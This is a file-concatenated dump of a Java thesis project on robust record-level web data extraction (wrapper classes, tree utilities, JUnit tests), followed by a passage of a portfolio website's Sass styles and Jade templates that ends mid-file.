The web contains semi-structured information in HTML. To extract structured data from a web page, which gets constant user interface updates, a non-breaking method is required. Building a robust and fast record-level wrapper from a single annotated web page is the subject of this project. Current state of the art methods include *mining data regions* to recognize template generated areas on page, *probabilistic wrapper induction* to extract data from a single data region in a robust way, and *partial tree alignment* to repeatedly extract data from multiple regions. In this thesis, we combine these three ideas into a new method and design a system for robust data extraction. Experimental results using a large number of web pages from multiple domains show that the proposed approach works with a high precision and within reasonable execution time on commodity hardware.
Refer to [status updates](http://robust-web-extraction.tumblr.com/) for more information about the project.<file_sep>/src/main/java/lt/kanaporis/thesis/tree/RtedMapper.java
package lt.kanaporis.thesis.tree;
public class RtedMapper {
public static String map(final Tree tree) {
StringBuffer sb = new StringBuffer();
sb.append('{').append(tree.root().label());
for (Tree child : tree.children()) {
sb.append(map(child));
}
sb.append('}');
return sb.toString();
}
}
<file_sep>/todo.txt
Implement record-level wrapper:
- TagNodes similar inside DataRecordLocator
Implement HtmlRecordWrapper
Implement HtmlTreeFactory
Implement ProbabilisticChangeModelFactory
implement ProbabilisticTransducer transformations (might be useful for setting up experiment)
Look for extension points w/ text patters in ProbPageWrapper
http://confluence.jetbrains.com/display/IntelliJIDEA/Code+Completion
Implement record-level wrapper:
2) Implement merge operation on trees.
- Cover with tests. Refactor.
Setup experiment
Run experiment
Write thesis
- literature review
<file_sep>/src/main/java/lt/kanaporis/thesis/html/HtmlRecordWrapper.java
package lt.kanaporis.thesis.html;
import lt.kanaporis.thesis.changemodel.ProbabilisticChangeModel;
import lt.kanaporis.thesis.tree.Node;
import lt.kanaporis.thesis.tree.Tree;
import lt.kanaporis.thesis.wrapper.ProbabilisticRecordLevelWrapper;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.select.Elements;
import java.util.ArrayList;
import java.util.List;
import java.util.Set;
// TODO work work work!
public class HtmlRecordWrapper {
private final ProbabilisticRecordLevelWrapper wrapper;
private final ProbabilisticChangeModel probModel = new ProbabilisticChangeModel(); // FIXME init
public HtmlRecordWrapper(String html, String selector) {
Document dom = Jsoup.parse(html);
Tree tree = HtmlTreeFactory.buildFromDom(dom);
Elements distinquishedElems = dom.select(selector);
if (distinquishedElems.size() != 1) {
throw new IllegalStateException("Selector cannot locate a unique distinquished node.");
}
Tree distinquishedNode = locate(dom, tree, distinquishedElems);
wrapper = new ProbabilisticRecordLevelWrapper(tree, distinquishedNode, probModel);
}
public List<String> wrap(String html) {
Document dom = Jsoup.parse(html);
Tree tree = HtmlTreeFactory.buildFromDom(dom);
Set<Tree> nodes = wrapper.wrap(tree);
return toString(nodes);
}
public List<String> toString(Set<Tree> nodes) {
List<String> nodesStr = new ArrayList<>();
for (Tree node : nodes) {
nodesStr.add(node.text());
}
return nodesStr;
}
private Tree locate(Document dom, Tree origTree, Elements distinquishedElems) {
// TODO
return null;
}
}
<file_sep>/src/main/java/lt/kanaporis/thesis/tree/Node.java
package lt.kanaporis.thesis.tree;
public class Node {
private final NodeType type;
private final String label;
private final String value;
// --- factory methods ---------------------------------
public static Node text(String value) {
return new Node(NodeType.TEXT, "TEXT", value);
}
public static Node attr(String label, String value) {
return new Node(NodeType.ATTRIBUTE, label, value);
}
public static Node elem(String label) {
return new Node(NodeType.ELEMENT, label, null);
}
// --- ctor --------------------------------------------
private Node(NodeType type, String label, String value) {
this.type = type;
this.label = (type != NodeType.TEXT) ? label.trim().toLowerCase() : label;
this.value = value;
}
// -----------------------------------------------------
public String label() {
return label;
}
public NodeType type() {
return type;
}
public String value() {
return value;
}
public String text() {
return (type == NodeType.TEXT) ? value : "";
}
// --- Object ------------------------------------------
@Override
public String toString() {
if (type == NodeType.ELEMENT) {
return label;
} else {
return label + "=\"" + value + "\"";
}
}
@Override
public boolean equals(Object that) {
return (that instanceof Node) && this.equals((Node) that);
}
public boolean equals(Node that) {
return (this == that) ||
(that != null) &&
(this.type == that.type) &&
(this.label == null && that.label == null || this.label.equals(that.label)) &&
(this.value == null && that.value == null || this.value.equals(that.value));
}
@Override
public int hashCode() {
int result = type.hashCode();
result = 31 * result + label.hashCode();
result = value != null ? (31 * result + value.hashCode()) : 0;
return result;
}
// ------------------------------------------------------
/**
ELEMENT_NODE
ATTRIBUTE_NODE
TEXT_NODE
CDATA_SECTION_NODE
ENTITY_REFERENCE_NODE
ENTITY_NODE
PROCESSING_INSTRUCTION_NODE
COMMENT_NODE
DOCUMENT_NODE
DOCUMENT_TYPE_NODE
DOCUMENT_FRAGMENT_NODE
NOTATION_NODE
*/
public enum NodeType {
ELEMENT,
ATTRIBUTE,
TEXT,
}
}
<file_sep>/src/test/java/lt/kanaporis/thesis/region/DataRegionLocatorTest.java
package lt.kanaporis.thesis.region;
import lt.kanaporis.thesis.Fixture;
import lt.kanaporis.thesis.tree.Forest;
import org.junit.Test;
import java.util.Iterator;
import java.util.Set;
import static org.junit.Assert.assertEquals;
public class DataRegionLocatorTest {
@Test
public void testLocateBasicRegions() throws Exception {
Set<DataRegion> records = DataRegionLocator.locate(Fixture.TABLE_HTML.child(0));
assertEquals(1, records.size());
DataRegion record = records.iterator().next();
assertEquals(6, record.generalizedNodes().size());
int i = 1;
for (Forest generalizedNode : record.generalizedNodes()) {
assertEquals("{td{TEXT=\"" + i + "\"}}", generalizedNode.toString());
i++;
}
}
@Test
public void testLocateTextRegions() throws Exception {
Set<DataRegion> records = DataRegionLocator.locate(Fixture.ORIG_HTML.child(1));
assertEquals(1, records.size());
DataRegion record = records.iterator().next();
assertEquals(3, record.generalizedNodes().size());
Iterator<Forest> genNodes = record.generalizedNodes().iterator();
assertEquals("{TEXT=\"Body text goes \"}", genNodes.next().toString());
assertEquals("{strong{TEXT=\"here\"}}", genNodes.next().toString());
assertEquals("{TEXT=\"!\"}", genNodes.next().toString());
}
@Test
public void testLocateMoreComplexTable() throws Exception {
Set<DataRegion> records = DataRegionLocator.locate(Fixture.MOVIE_HTML);
assertEquals(1, records.size());
DataRegion record = records.iterator().next();
assertEquals(3, record.generalizedNodes().size());
Iterator<Forest> genNodes = record.generalizedNodes().iterator();
assertEquals("{td{strong{TEXT=\"1. Guardians of the Galaxy (2014)\"}}{br}{TEXT=\"Weekend: $16.3M\"}}", genNodes.next().toString());
assertEquals("{td{strong{TEXT=\"2. Teenage Mutant Ninja Turtles (2014)\"}}{br}{TEXT=\"Weekend: $11.8M\"}}", genNodes.next().toString());
assertEquals("{td{strong{TEXT=\"3. If I Stay (2014)\"}}{br}{TEXT=\"Weekend: $9.3M\"}}", genNodes.next().toString());
}
@Test
public void testLocateTds() throws Exception {
Set<DataRegion> records = DataRegionLocator.locate(Fixture.TABLE_WITH_HEAD_BODY_FOOT);
assertEquals(1, records.size());
DataRegion record = records.iterator().next();
assertEquals(3, record.generalizedNodes().size());
Iterator<Forest> genNodes = record.generalizedNodes().iterator();
Iterator<Forest> i = genNodes.iterator();
assertEquals("Name: First", i.next().toString());
assertEquals("Name: Second", i.next().toString());
assertEquals("Name: Third", i.next().toString());
}
}
<file_sep>/src/main/java/lt/kanaporis/thesis/html/ProbabilisticChangeModelFactory.java
package lt.kanaporis.thesis.html;
import lt.kanaporis.thesis.changemodel.ProbabilisticChangeModel;
import org.apache.commons.lang3.Validate;
/**
* Reads probabilistic change model from a file
*/
public class ProbabilisticChangeModelFactory {
/**
* Reads change model from file
* @param filename
* @return
*/
public static ProbabilisticChangeModel buildFromCsv(String filename) {
ProbabilisticChangeModel changeModel = new ProbabilisticChangeModel();
// TODO
Validate.isTrue(changeModel.valid(), "Change model invariants do not hold!");
return changeModel;
}
}
<file_sep>/src/main/java/lt/kanaporis/thesis/tree/TreeUtils.java
package lt.kanaporis.thesis.tree;
public class TreeUtils {
public static boolean areEqual(Tree tree1, Tree tree2) {
if (tree1 == null || tree2 == null ||
!tree1.root().equals(tree2.root()) ||
tree1.children().size() != tree2.children().size()) {
return false;
}
for (int i = 0; i < tree1.children().size(); i++) {
if (!areEqual(tree1.child(i), tree2.child(i))) {
return false;
}
}
return true;
}
}
<file_sep>/src/main/java/lt/kanaporis/thesis/wrapper/ProbabilisticRecordLevelWrapper.java
package lt.kanaporis.thesis.wrapper;
import lt.kanaporis.thesis.changemodel.ProbabilisticChangeModel;
import lt.kanaporis.thesis.region.DataRegion;
import lt.kanaporis.thesis.region.DataRegionLocator;
import lt.kanaporis.thesis.tree.Forest;
import lt.kanaporis.thesis.tree.Tree;
import java.util.HashSet;
import java.util.Set;
public class ProbabilisticRecordLevelWrapper {
private final ProbabilisticPageLevelWrapper globalWrapper;
private final ProbabilisticPageLevelWrapper regionalWrapper;
// --- ctor ----------------------------------------------------------
/**
* 1. Build probabilistic wrapper to locate candidate node in a new tree.
* 2. Build a regional wrapper to locate candidate node inside single record.
* - Locate data records in original tree (that contain dist node)
* - Build a generic record tree by merging all data records inside original tree.
* - Create a regional wrapper for data record wrapping
*/
public ProbabilisticRecordLevelWrapper(Tree tree, Tree distNode, ProbabilisticChangeModel changeModel) {
globalWrapper = new ProbabilisticPageLevelWrapper(tree, distNode, changeModel);
regionalWrapper = buildGeneralizedRegionalWrapper(tree, distNode, changeModel);
}
private ProbabilisticPageLevelWrapper buildGeneralizedRegionalWrapper(Tree tree, Tree distinguishedNode, ProbabilisticChangeModel changeModel) {
Set<DataRegion> records = DataRegionLocator.locate(tree);
DataRegion record = locateDataRegionWithDistinguishedNode(records, distinguishedNode);
Forest generalizedRecord = mergeRegionsIntoBroom(record);
return new ProbabilisticPageLevelWrapper(generalizedRecord.rightmostTree(), distinguishedNode, changeModel); // TODO forest vs tree wrapper. eg some fake parent?
}
private DataRegion locateDataRegionWithDistinguishedNode(Set<DataRegion> records, Tree distinguishedNode) {
for (DataRegion record : records) {
for (Forest generalizedNode : record.generalizedNodes()) {
for (Tree tagNode : generalizedNode.trees()) {
if (tagNode == distinguishedNode) {
return record;
}
}
}
}
return null;
}
private Forest mergeRegionsIntoBroom(DataRegion record) {
Forest merged = null;
for (Forest generalizedNode : record.generalizedNodes()) {
merged = generalizedNode.merge(merged);
}
return merged;
}
// --- Wrapper -------------------------------------------------------
/**
* 1. Locate candidate node inside new page.
* 2. Find data regions inside new page (with candidate node).
* 3. Match data records with regional wrapper.
*/
public Set<Tree> wrap(Tree tree) {
Set<Tree> attributeNodes = new HashSet<>();
for (Forest region : locateCandidateRegions(tree)) {
attributeNodes.add(regionalWrapper.wrap(region.rightmostTree())); // TODO Forest vs Tree. eg some fake parent?
}
return attributeNodes;
}
private Set<Forest> locateCandidateRegions(Tree tree) {
Tree candidateNode = globalWrapper.wrap(tree);
Set<DataRegion> records = DataRegionLocator.locate(tree);
DataRegion record = locateDataRegionWithDistinguishedNode(records, candidateNode);
return record.generalizedNodes();
}
}
<file_sep>/src/test/java/lt/kanaporis/thesis/region/DataRegionTest.java
package lt.kanaporis.thesis.region;
import lt.kanaporis.thesis.Fixture;
import lt.kanaporis.thesis.tree.Forest;
import org.junit.Test;
import static org.junit.Assert.assertTrue;
public class DataRegionTest {
@Test
public void testIsCovered() throws Exception {
DataRegion parentRecord = new DataRegion();
for (int i = 1; i <= 3; i++) {
parentRecord.add(new Forest(Fixture.MOVIE_HTML.child(i))); // tr td[1-3]
}
DataRegion childRecord = new DataRegion();
childRecord.add(Fixture.MOVIE_HTML.child(1).subforest()); // tr td[1] *
assertTrue(childRecord.isCoveredBy(parentRecord));
}
}
<file_sep>/src/test/java/lt/kanaporis/thesis/tree/RtedMapperTest.java
package lt.kanaporis.thesis.tree;
import lt.kanaporis.thesis.Fixture;
import org.junit.Test;
import static org.junit.Assert.assertEquals;
public class RtedMapperTest {
@Test
public void testMapping() throws Exception {
assertEquals("{h1}", RtedMapper.map(new Tree(Node.elem("h1"))));
assertEquals("{style}", RtedMapper.map(new Tree(Node.attr("style", "color: red;"))));
assertEquals("{TEXT}", RtedMapper.map(new Tree(Node.text("Hello, World!"))));
assertEquals("{html{head}{body{h1{TEXT}}{p{TEXT}{strong{TEXT}}{TEXT}}}}", RtedMapper.map(Fixture.ORIG_HTML));
}
}
|
1f84a8ea20a7d6156079312c2793afa38ca832ad
|
[
"Java",
"Markdown",
"Text"
] | 12 |
Java
|
mantask/thesis-wrapper
|
0c504c1eac11f6e7741606077838031ffab080c6
|
7dea1362a11646b758927fb15320226867e24430
|
refs/heads/master
|
<repo_name>basejumpa/SpassMitElektronik2016<file_sep>/II_LichtsensorSchaltetLED/II_LichtsensorSchaltetLED.ino
void setup(){
pinMode(2, OUTPUT);
Serial.begin(9600);
}
int a = 0;
void loop() {
a = analogRead(0);
if(a <= 195){
digitalWrite(2, 1);
}else{
digitalWrite(2, 0);
}
Serial.println(a);
}
<file_sep>/J_Lautsprecher/J_Lautsprecher.ino
void setup(){
pinMode(5, OUTPUT);
}
void loop() {
tone(5, 440);
delay(1000);
noTone(5);
delay(500);
}
<file_sep>/H_Servo/H_Servo.ino
#include <Servo.h>
Servo servo;
void setup(){
servo.attach(5);
}
void loop() {
servo.write(50);
delay(1000);
servo.write(100);
delay(1000);
servo.write(150);
delay(1000);
}
<file_sep>/ZZZ_Kinder/Elias/2016-07/MeinErstesProgramm/MeinErstesProgramm.ino
void setup () {
while(1){
pinMode(4, OUTPUT);
pinMode(2, OUTPUT);
pinMode(5, OUTPUT);
pinMode(3, OUTPUT);
pinMode(6, OUTPUT);
digitalWrite(5, LOW);
digitalWrite(4, LOW);
digitalWrite(3, LOW);
digitalWrite(2, HIGH);
digitalWrite(6, LOW);
delay(80);
digitalWrite(5,LOW);
digitalWrite(3,HIGH);
digitalWrite(2,LOW);
digitalWrite(4,LOW);
digitalWrite(6,LOW);
delay(80);
digitalWrite(5,LOW);
digitalWrite(2,LOW);
digitalWrite(4,HIGH);
digitalWrite(3,LOW);
digitalWrite(6,LOW);
delay(80);
digitalWrite(5,HIGH);
digitalWrite(4,LOW);
digitalWrite(2,LOW);
digitalWrite(3,LOW);
digitalWrite(6,LOW);
delay(80);
digitalWrite(6,HIGH);
digitalWrite(5,LOW);
digitalWrite(4,LOW);
digitalWrite(3,LOW);
digitalWrite(2,LOW);
delay(80);
}
}
void loop() {
}
<file_sep>/F_FernbedienungSchaltetLED/F_FernbedienungSchaltetLED.ino
#include <IRremote.h>
IRrecv irrecv(5);
decode_results results;
void setup(){
Serial.begin(9600);
irrecv.enableIRIn();
pinMode(2, OUTPUT);
}
void loop() {
if(irrecv.decode(&results)){
Serial.println(results.value, HEX);
if(results.value == 0xFF6897){
digitalWrite(2, HIGH);
}
if(results.value == 0xFF4AB5){
digitalWrite(2, LOW);
}
irrecv.resume();
}
}
<file_sep>/Befehlsuebersicht/Befehlsuebersicht.ino
// LEDs und SCHALTER
void setup() {
pinMode(2, OUTPUT); // D2 als Ausgang konfigurieren
pinMode(3, INPUT_PULLUP); // D3 als Eingang für Schalter konf.
Serial.begin(9600); // Konsole konfigurieren.
}
int a = 0; // Variable 'a' anlegen und gleich auf 0 setzen.
void loop() {
digitalWrite(2, HIGH); // D2 anschalten
digitalWrite(2, 1); // D2 anschalten (geht auch so)
digitalWrite(2, LOW); // D2 ausschalten
digitalWrite(2, 0); // D2 ausschalten (geht auch so)
a = digitalRead(3); // (Schalter-)Wert von Pin 3 lesen und in a abspeichern.
Serial.println("Hallo"); // Hallo ausgeben auf dem Computer über die Konsole
Serial.println(a); // Den Wert, der in Variable a steht ausgeben auf der Konsole.
}
<file_sep>/L_OnOffSchalter/L_OnOffSchalter.ino
void setup() {
Serial.begin(9600);
pinMode(2, OUTPUT);
pinMode(4, INPUT_PULLUP);
}
int s_neu = 0;
int s_alt = 0;
void loop() {
s_neu = !digitalRead(4);
if((s_alt == 0) && (s_neu == 1)){
digitalWrite(2, 1);
}
Serial.println(s_neu);
s_alt = s_neu;
}
<file_sep>/ZZ_SchalterZaehlerNichtEntprellt-TODO/F_SchalterZaehlerNichtEntprellt.ino
int x = 0;
int knopf_vorher = 1;
int knopf_jetzt = 1;
void setup(){
Serial.begin(9600);
pinMode(2, INPUT_PULLUP);
knopf_vorher = digitalRead(2);
}
void loop(){
if(digitalRead(2) == 0){
x = x + 1;
}
Serial.println(x);
}
<file_sep>/C_LEDanDigitalemPin/C_LEDanDigitalemPin.ino
void setup() {
pinMode(3, OUTPUT);
}
int a = 1;
void loop() {
a = 1;
digitalWrite(3, a);
delay(2000);
a = 0;
digitalWrite(3, a);
delay(2000);
}
<file_sep>/K_ToggleSchalter/K_ToggleSchalter.ino
#include "Bounce2.h"
Bounce schalter;
void setup() {
Serial.begin(9600);
pinMode(3, OUTPUT);
pinMode(2, INPUT_PULLUP);
schalter.attach(2);
}
int led = 0;
void loop() {
schalter.update();
if(schalter.rose()){
//led = !led;
if(led == 0){
led = 1;
}else{
led = 0;
}
}
//schalter.fell() gibt es auch
digitalWrite(3, led);
Serial.println(led);
}
<file_sep>/Y_Fussball/Y_Fussball.ino
#include <Servo.h>
Servo servo;
int nullStellung;
void setup() {
// Servo ist an Pin 5
servo.attach(5);
// Nullstellung des Servos merken
nullStellung = servo.read();
// Tongeber an D2
pinMode(2, OUTPUT);
}
void loop() {
// Auf Ball warten (solange der Lichtwert größer als 100 ist)
while(analogRead(0) > 100){}
// Tonsignal geben
digitalWrite(2, HIGH);
delay(1000);
digitalWrite(2, LOW);
// Schießen
servo.write(180);
delay(1000);
servo.write(0);
delay(1000);
servo.write(nullStellung);
}
|
63103cf712f3d769d3d6f7776049d0bbad02ed19
|
[
"C++"
] | 11 |
C++
|
basejumpa/SpassMitElektronik2016
|
b9263f98788db0349358c647de873a489976b432
|
294168edb8e9bc17f25c1fabdf4c355de42e33ee
|
refs/heads/master
|
<repo_name>mserrranom98/SearchEvent<file_sep>/README.md
# SearchEvent
Proyecto de CIISA
|
d90c9e5a23f3ec4948e74d87efa860afc4c5dee9
|
[
"Markdown"
] | 1 |
Markdown
|
mserrranom98/SearchEvent
|
36228216d0c12bf9c57302bc077a7857cbc7fec1
|
10f539a5ea0116446468882e76b9108d1e34a9ce
|
refs/heads/master
|
<file_sep>require 'rubygems'
require 'nokogiri'
require 'open-uri'
def get_townhall_email(townhall_url)
page = Nokogiri::HTML(open("http://annuaire-des-mairies.com/95/ableiges.html"))
page.xpath('/html/body/div/main/section[2]/div/table/tbody/tr[4]/td[2]').each do |email|
puts email.text
end
end
# Boucle array villes
page = Nokogiri::HTML(open("http://annuaire-des-mairies.com/val-d-oise.html"))
valdoise_towns_array = []
page.xpath('//td/p/a').each do |ville| # on retire le numéro entre crochet après "tr" pour que ca scrape tous les numéros de tr
ville.text
valdoise_towns_array << ville.text # on a ici l'array des villes du Val d'Oise
end
print valdoise_towns_array.size
townhall_urls_array = []
for i in 0...valdoise_towns_array.size do
print townhall_urls_array << "http://annuaire-des-mairies.com/95/#{valdoise_towns_array[i]}.html"
end
<file_sep>require 'rubygems'
require 'nokogiri'
require 'open-uri'
page = Nokogiri::HTML(open("https://coinmarketcap.com/all/views/all/"))
# From the website, get an array of the currencies name
currency_name_array = []
page.xpath('//*[@id="__next"]/div/div[2]/div[1]/div[2]/div/div[2]/div[3]/div/table/tbody/tr/td[3]/div').each do |name| # on retire le numéro entre crochet après "tr" pour que ca scrape tous les numéros de tr
name.text
currency_name_array << name.text
end
# From the website, get an array of the currencies price
currency_value_array = []
page.xpath('//*[@id="__next"]/div/div[2]/div[1]/div[2]/div/div[2]/div[3]/div/table/tbody/tr/td[5]/a').each do |value| # on retire le numéro entre crochet après "tr" pour que ca scrape tous les numéros de tr
value.text
currency_value_array << value.text
end
# Convert my 2 previous arrays into hash
currency_result = Hash[currency_name_array.zip(currency_value_array)]
# Création d'un array de hash
currency_result_final = []
currency_result.each {|i| currency_result_final << {i[0] => i[1]}}
puts currency_result_final
<file_sep>require 'rubygems'
require 'nokogiri'
require 'open-uri'
valdoise_towns_array = [] # Initialisation de l'array des villes
page = Nokogiri::HTML(open("https://annuaire-des-mairies.com/val-d-oise.html"))
page.xpath('//td/p/a').each do |ville|
ville.text
valdoise_towns_array << ville.text # on a ici l'array des villes du Val d'Oise
end
print valdoise_towns_array
<file_sep>require 'rubygems'
require 'nokogiri'
require 'open-uri'
page = Nokogiri::HTML(open("https://annuaire-des-mairies.com/val-d-oise.html"))
# avec cette méthode on va chercher l'email de chaque commune, avec l'adresse html de chaque commune !!! On va faire le xpath à partir de l'adresse email de chacune des communes, donc il faut récolter cette url
def get_townhall_email(townhall_url)
email = townhall_url.xpath('/html/body/div/main/section[2]/div/table/tbody/tr[4]/td[2]')
return email.text
end
# ci-dessus on a fait la méthode, mais il faut maintenant pourvoir générer les urls de chaque commune.
# on s'y met
def get_townhall_urls(page)
######### initialisation des arrays
valdoise_towns_array = [] # Initialisation de l'array des villes
array_town_emails = [] # Initialisation de l'array des emails
array_fin = [] #initialisation du tableau final des résultats
######### Boucle array villes
page = Nokogiri::HTML(open("https://annuaire-des-mairies.com/val-d-oise.html"))
page.xpath('//td/p/a').each do |ville|
ville.text
valdoise_towns_array << ville.text # on a ici l'array des villes du Val d'Oise
end
##########
# Recupération des url
page = Nokogiri::HTML(open("https://annuaire-des-mairies.com/val-d-oise.html"))
page.xpath('//td/p/a/@href').each do |urls|
urls = urls.text
# on obtient alors ./95/villers-en-arthies.html ./95/villiers-adam.html ./95/villiers-le-bel.html etc....
# Retrait du point devant les urls
urls.slice!(0) # on obtient alors /95/villers-en-arthies.html /95/villiers-adam.html /95/villiers-le-bel.html etc....
# Ajout du début du lien
urls = "https://annuaire-des-mairies.com" + urls # on obtient alors https://annuaire-des-mairies.com/95/villers-en-arthies.html etc... > l'url finale !
# Appel de la fonction de recherche d'email avec le nouvel url
# Boucle array emails
emails = get_townhall_email(Nokogiri::HTML(open(urls))) # on remplace ici la valeur de page dans la 1ère méthode
array_town_emails << emails
end
# Création hash joignant les viles et les emails
hash = Hash[valdoise_towns_array.zip(array_town_emails)]
# Création d'un array de hash
hash.each {|i| array_fin << {i[0] => i[1]}}
puts array_fin
end
get_townhall_urls(page)
|
95a869cd33bfe5f6a06981b9ca8cbeb1cb5f5693
|
[
"Ruby"
] | 4 |
Ruby
|
sybillearmis/Jour14_Scraping
|
6583f3891b41f61026645684310339edd2d6eeee
|
c67f457b29d1dc3efc200fc56a64f32499ab3788
|
refs/heads/master
|
<repo_name>sshkarupa/portfolio<file_sep>/sass/_magnific.sass
.mfp-content
width: 100%
.mfp-container
padding: 0
img.mfp-img
display: block
max-width: 100%
height: auto
max-height: none !important
padding: 0
.mfp-figure button.mfp-close
width: 50px
height: 50px
background-color: tomato
text-align: center
right: 5px
padding: 0
/* magnific gallery opened */
.mfp-zoom-out-cur .gallery
left: -100%
.mfp-figure
background-color: $color-bg
/* overlay at start */
.mfp-fade.mfp-bg
opacity: 1
/* overlay animate in */
.mfp-fade.mfp-bg.mfp-ready
opacity: 1
/* overlay animate out */
.mfp-fade.mfp-bg.mfp-removing
opacity: 1
/* content at start */
.mfp-fade.mfp-wrap .mfp-content
left: 100%
@include transition(all, 1s)
/* content animate it */
.mfp-fade.mfp-wrap.mfp-ready .mfp-content
left: 0
/* content animate out */
.mfp-fade.mfp-wrap.mfp-removing .mfp-content
left: 100%
<file_sep>/sass/_button.sass
.btn_mnu
width: 50px
height: 50px
@include display-flex
flex-direction: column
align-items: center
justify-content: center
background-color: tomato
cursor: pointer
position: relative
.btn_row
height: 2px
width: 60%
margin: 2px 0
background-color: white
position: relative
@include transition(all, 0.5s)
.btn_mnu.active .btn_row:first-child
@include rotate(-135)
top: 6px
.btn_mnu.active .btn_row:last-child
@include rotate(-225)
top: -6px
.btn_mnu.active .btn_row:nth-child(2)
opacity: 0
// customisation
.btn_mnu
float: right
@include transition(all, 0.5s)
.btn_mnu.active
background-color: transparent
<file_sep>/sass/main.sass
//@import 'fonts'
@import 'fonts'
//@import url(http://fonts.googleapis.com/css?family=Roboto:400,700,300)
$font-size-base: 14
$font-family-base: RalewayRegular, sans-serif
$font-family-light: RalewayLight, sans-serif
$color-bg: #181818
$color-grey: #434343
$color-grey-light: #212121
$color-white-light: #b2b2b2
$color-bg-content: #fafafa
$color-bg-aside: #111
$color-bg-form: #2e2e2e
$color-form: #5b5b5b
$min-width: 320
@import 'mixins'
body
font-family: $font-family-base
font-weight: normal
font-size: $font-size-base * 1px
min-width: $min-width * 1px
position: relative
line-height: 1.7
-webkit-font-smoothing: antialised
overflow-x: hidden
background-color: $color-bg
color: white
body input:focus:required:invalid,
body textarea:focus:required:invalid
//color: red
body input:required:valid,
body textarea:required:valid
//color: green
.left-side
background-color: $color-bg-aside
position: fixed
left: 0
top: 0
width: 50px
height: 100%
z-index: 10
color: white
@include transition(all, 0.5s)
overflow-x: hidden
.left-side.active
width: 300px
.user-info
opacity: 1
nav
margin-top: 35px
li a::before
margin-left: -32px
li a:hover
text-indent: 5px
+ .content
left: 250px
transition-delay: .5s
.left-side__content
position: absolute
top: 50px
width: 100%
padding: 25px 0
white-space: nowrap
nav
position: relative
z-index: 5
margin: -110px 0 35px
@include transition(all, 0.5s)
ul, li
padding: 0
margin: 0
list-style-type: none
li a
font-family: $font-family-light
display: block
color: $color-white-light
background-color: $color-bg-aside
padding: 10px 0 10px 70px
border-bottom: 1px solid $color-grey-light
li a:first-child
border-top: 1px solid $color-grey-light
li a:hover
text-decoration: none
background-color: tomato
color: white
@include transition(all, 0.5s)
li a::before
font-family: "linea-basic-10"
content: "^"
margin-left: -58px
margin-right: 19px
font-size: 20px
line-height: 0
display: inline-block
vertical-align: middle
@include transition(all, 0.5s)
li:nth-child(1) a::before
content: "^"
li:nth-child(2) a::before
content: "0"
li:nth-child(3) a::before
content: "Q"
.user-info
text-align: center
opacity: 0
@include transition(all, 0.2s)
img
width: 120px
height: 120px
border-radius: 50%
h2
font-size: 16px
p
font-size: 12px
letter-spacing: 2px
color: $color-grey
.content
position: relative
margin: 5px 5px 55px 55px
left: 0
@include transition(all, 1s)
.gallery
a
display: block
overflow: hidden
width: 320px
min-height: 50px
img
display: block
max-width: 100%
@include transition(all, 15s)
img:hover
@include scale(5)
.filter-items
position: fixed
bottom: 0
color: white
background-color: $color-bg
right: 0
text-align: right
width: 100%
padding: 10px 10px 0 10px
.filter-label
background-color: transparent
border-color: white
padding: 5px 15px
margin: 0 3px 15px
font-size: 12px
letter-spacing: 3px
opacity: .4
border: 1px solid white
@include transition(all, 0.5s)
.filter-label.active,
.filter-label:hover
background-color: tomato
opacity: 1
border-color: tomato
.inside
background-color: $color-bg-content
color: $color-grey
.inside .content
padding: 70px 10% 50px
.content-header
text-align: center
img
width: 220px
height: 220px
border-radius: 50%
margin-bottom: 35px
p
letter-spacing: 3px
padding-bottom: 10px
.content-body
p
font-size: 16px
.content-body.contacts
margin-top: 35px
h3
font-size: 22px
ul.contacts-list,
ul.contacts-list li
margin: 0 0 40px
padding: 0
list-style-type: none
.contacts-list
i
vertical-align: middle
font-size: 28px
margin-right: 5px
margin-bottom: 10px
a
text-decoration: none
color: tomato
font-size: 16px
.form-contacts
form
background-color: $color-bg
padding: 30px
color: white
.callback
h3
margin-top: 0
margin-bottom: 25px
text-align: center
lable
display: inline-block
width: 100%
font-size: 13px
letter-spacing: 3px
margin-bottom: 15px
color: $color-form
input,
textarea
display: block
width: 100%
max-width: 100%
border: 1px solid $color-grey
background-color: $color-bg-form
color: white
padding: 10px
margin-top: 5px
.button
display: block
background-color: tomato
margin: 15px auto 10px
padding: 5px 20px
font-size: 16px
border: none
.hidden
display: none
@import 'media'
@import 'button'
@import 'preloader'
@import 'magnific'
<file_sep>/jade/about.jade
extends /layout
block title
title Обо мне
block body
body.inside
include /includes/aside.jade
.content
.content-header
img(src="img/photo.jpg", alt="<NAME>")
h1 <NAME>
p Фотограф, дизайнер, иллюстратор
.content-body
p Lorem ipsum dolor sit amet, consectetur adipisicing elit. Mollitia earum numquam, harum saepe libero omnis similique adipisci autem commodi tempora distinctio ducimus nisi atque recusandae, architecto velit vitae obcaecati vero.
p Aut quibusdam, illum ullam deleniti et explicabo temporibus minima provident consectetur, fugit deserunt eaque, ab id facere dignissimos. Sapiente veniam atque libero modi? Commodi, nostrum illum dignissimos qui totam eius?
p Sit tenetur dolorum deserunt dignissimos sunt debitis provident minima temporibus maiores, officia consequuntur quod excepturi neque quisquam, tempora repellat reprehenderit ipsa soluta accusantium odit vero quam. Dolor, nam fugit reprehenderit.
.loader
.loader_inner
include /includes/scripts.jade
<file_sep>/jade/contacts.jade
extends /layout
block title
title Контакты
block body
body.inside
include /includes/aside.jade
.content
.content-header
h1 Обратная связь
p Свяжитесь со мной одним из следующих способов
.content-body.contacts
mixin icon (iclass, title)
li
h3
i(class="icon icon-basic-#{iclass}")
|#{title}
p
block
.row.form-contacts
.col-sm-6
ul.contacts-list
+icon("webpage-img-txt", "Мой сайт")(tag="a(href='http://webpage.com')")
a(href="#" target="_blank") www.webpage.com
+icon("map", "Адрес", "")
|14233 С-Перербург, ул. Весны, 36-12
+icon("smartphone", "Телефон")
a(href="tel:+78123254852") +7 812 325-48-52
.col-sm-6
form#callback.callback
h3 Оставить заявку
lable Ваше имя
input(type="text" name="name" required)
lable Ваш e-mail
input(type="text" name="email" required)
lable Текст сообщения
textarea(name="message")
button.button(type="submit") Отправить заявку
.loader
.loader_inner
include /includes/scripts.jade
.hidden
<file_sep>/sass/_mixins.sass
@mixin font-size-em($size)
font-size: $size / $font-size-base * 1em
@mixin line-height-em($size)
line-height: $size / $font-size-base * 1em
@mixin display-flex
display: -webkit-flex
display: -moz-flex
display: -ms-flex
display: -o-flex
display: flex
@mixin transition($property, $time)
-webkit-transition: $property $time
-moz-transition: $property $time
-ms-transition: $property $time
-o-transition: $property $time
transition: $property $time
// generic transform
@mixin transform($transforms)
-moz-transform: $transforms
-o-transform: $transforms
-ms-transform: $transforms
